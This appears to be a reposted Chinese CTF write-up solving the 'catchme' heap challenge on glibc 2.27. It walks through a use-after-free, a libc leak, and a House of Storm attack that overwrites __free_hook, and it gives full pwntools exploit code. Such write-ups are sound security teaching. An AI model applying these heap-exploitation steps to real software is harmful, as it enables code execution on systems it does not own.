web选手入门pwn(38)——catchme(House of Storm)
原创
珂字辈
珂字辈
珂技知识分享
2026年8月5日 17:47
湖北
在小说阅读器读本章
去阅读
https://github.com/kezibei/pwn\_study/tree/main/ciscn2026
给了libc 2.27,和如下环境一致
roderickchan/debug\_pwn\_env:18.04-2.27-3ubuntu 1.6-20240422
代码写的很漂亮,来看增。
qword\_202060为chunk\_list,似乎限制了只能有5个chunk,chunk大小只能选择0x430/0x440/0x48。没看到向新chunk写入内容的地方,最后会打印两个token,我们来看token是什么。
from pwn import * context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h'] sh = process(\"./catchme\")#gdb.attach(sh, \"c\")gdb.attach(sh, \"b *0x555555554f2f\
c\")#sh = remote(\"1.95.36.136\", xxxx) libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")rop = ROP(libc) def add(type): sh.sendlineafter(\">>\", \"1\") sh.sendlineafter(\"otter\", str(type)) def free(id): sh.sendlineafter(\">>\", \"2\") sh.sendlineafter(\"index:\", str(id)) def show(id, type=1): sh.sendlineafter(\">>\", \"3\") if type != 1: sh.sendlineafter(\"index:\", str(id)) def edit(id, tag): sh.sendlineafter(\">>\", \"4\") sh.sendlineafter(\"index:\", str(id)) sh.sendlineafter(\"tag:\", tag) def delete(id): sh.sendlineafter(\">>\", \"6\") sh.sendlineafter(\"index:\", str(id)) #qword_202060 chunk_list = 0x555555756060#show(0) = 0x555555554f2f add(1)#chunk0 0x440 sh.interactive()
可以看到就是chunk地址的头和尾。
接着看删。
很明显没有清除指针,测试一下
add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)
典型的UAF,那么只要有查就能泄露libc,有改就能劫持fd走tcache attack。
接着看查。
有flag设计,只有一次机会泄露地址,这里可以做unsortedbin泄露libc。泄露一次之后show()这个功能就废了,所以还能拿来当断点。
add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)show(0,0)libc_N = u64(sh.recvuntil(\"\\x7f\")[-6:]+b\"\\x00\\x00\")main_arena_N = libc.sym['__malloc_hook'] + 0x70libc_base = libc_N-main_arena_Nprint(hex(libc_base))
show(0)
接着看改
改也有限制,只有三次机会,且这个改是从chunk+8的位置开始,写0x18数据进去。也就是说无法覆盖fd,只能覆盖bk/fd\_nextsize/bk\_nextsize。那么这题就不可能是tcache attack,更可能是unsortedbin attack和largebin attack。
实际效果如下
add(1)#chunk0 0x440edit(0, \"A\"*8+\"B\"*8+\"C\"*8)
最后是清除指针
原来free()和清除指针的操作分开了,那这样既存在UAF,又使得最多5个chunk的限制不存在了。
这题刚好可以用来学习之前用的比较少的unsortedbin attack和largebin attack。
先来unsortedbin attack
add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)#chunk0=unsortedbinedit(0, p64(0x555555756100))#bk=0x555555756100add(3)
可以看到向0x555555756100+x10写入了一个libc地址。
再来largebin attack,先做一个largebin和一个稍大的unsortedbin(低于2.30才是largebin小,unsortedbin大)。
add(1)#chunk0 0x440add(1)#chunk1 0x440free(0)add(2)#chunk2 0x450add(2)#chunk3 0x450free(2)#chunk0=largebin, chunk2=unsortedbin
然后劫持largebin的bk/bk\_nextsize,add()一个小堆块。
edit(0, p64(0x555555756100)+p64(0)+p64(0x555555756150))#bk=0x555555756100,bk_nextsize=0x555555756150add(3)
可以向0x555555756100+0x10和0x555555756150+0x20写入unsortedbin的堆地址。
但这题的改只能写0x18长度,也没法打IO,到底该如何解呢?
正是结合了unsortedbin attack和largebin attack的攻击技术——House of Storm。
其具体原理如下
https://blog.xmcve.com/2022/11/22/%E5%A0%86Pwn%EF%BC%9AHouse-Of-Storm%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/
简单点讲就是,先利用largebin attack可以写堆地址的特点在free\_hook上方写一个0x56做size。原理类似malloc\_hook-0x23可以偏移0x7f出来。关闭ALSR堆地址开头固定为0x55,开启ALSR有一定概率为0x56。
然后利用unsortedbin attack,bk填这个0x56的假堆,add(0x48),就会尝试将假堆分配,最终达到写free\_hook的目的。
这也正是这题给了0x430/0x440/0x48三种堆块和token泄露堆头的原因。
实际利用起来比较套路化。
先填满tcache。
for i in range(7): add(3) free(0) delete(0)
再常规泄露libc,做largebin和unsortedbin。
add(1)#chunk0 0x440add(1)#chunk1 0x440 free(0)show(0,0)libc_N = u64(sh.recvuntil(\"\\x7f\")[-6:]+b\"\\x00\\x00\")main_arena_N = libc.sym['__malloc_hook'] + 0x70libc_base = libc_N-main_arena_Nprint(hex(libc_base)) add(2)#chunk2 0x450add(2)#chunk3 0x450free(2)
接着篡改unsortedbin和largebin的bk/bk\_nextsize。一般来说,fake\_chunk+0x10=想写的地址。但这题的edit()偏移了0x8,所以修正成0x18。
free_hook = libc.sym['__free_hook'] + libc_basefake_chunk = free_hook-0x18payload = p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk-0x18-0x5) edit(0, payload) #largebin: bk=fake_chunk+0x8, bk_nextsize=fake_chunk-0x18-0x5edit(2, p64(fake_chunk)) #unsortedbin: bk=fake_chunk
然后add(0x48),完成House Of Storm攻击。
add(3)#4 0x48 #House Of Storm
此时free\_hook已经被分配为堆,最后编辑成one\_gadget触发即可(同时刚好三次edit次数用完)。
one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]one = libc_base + one_gadget[2]edit(4, p64(one)) #free_hook=one_gadgetfree(4)
最终exp如下,注意要开启ALSR,而且有一定概率才成功。这里写了中断,没写循环,多运行几次就行。
from pwn import * context.log_level = 'debug'context.arch='amd64'context.terminal = ['tmux','splitw','-h'] sh = process(\"./catchme\")#gdb.attach(sh, \"c\")#gdb.attach(sh, \"b *0x555555554f2f\
c\")#sh = remote(\"1.95.36.136\", xxxx) libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")rop = ROP(libc) def add(type): sh.sendlineafter(\">>\", \"1\") sh.sendlineafter(\"otter\", str(type)) def free(id): sh.sendlineafter(\">>\", \"2\") sh.sendlineafter(\"index:\", str(id)) def show(id, type=1): sh.sendlineafter(\">>\", \"3\") if type != 1: sh.sendlineafter(\"index:\", str(id)) def edit(id, tag): sh.sendlineafter(\">>\", \"4\") sh.sendlineafter(\"index:\", str(id)) sh.sendlineafter(\"tag:\", tag) def delete(id): sh.sendlineafter(\">>\", \"6\") sh.sendlineafter(\"index:\", str(id)) #qword_202060 chunk_list = 0x555555756060#show(0) = 0x555555554f2f for i in range(7): add(3) sh.recvuntil(b'token(2):') num_str = sh.recvline().strip().decode('utf-8') if num_str != \"56\": print(num_str) exit() free(0) delete(0) add(1)#chunk0 0x440add(1)#chunk1 0x440 free(0)show(0,0)libc_N = u64(sh.recvuntil(\"\\x7f\")[-6:]+b\"\\x00\\x00\")main_arena_N = libc.sym['__malloc_hook'] + 0x70libc_base = libc_N-main_arena_Nprint(hex(libc_base)) add(2)#chunk2 0x450add(2)#chunk3 0x450free(2) free_hook = libc.sym['__free_hook'] + libc_basefake_chunk = free_hook-0x18payload = p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk-0x18-0x5) edit(0, payload) #largebin: bk=fake_chunk+0x8, bk_nextsize=fake_chunk-0x18-0x5edit(2, p64(fake_chunk)) #unsortedbin: bk=fake_chunk add(3)#4 0x48 #House Of Stormprint(hex(fake_chunk)) one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]one = libc_base + one_gadget[2]edit(4, p64(one)) #free_hook=one_gadgetfree(4) sh.interactive()
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论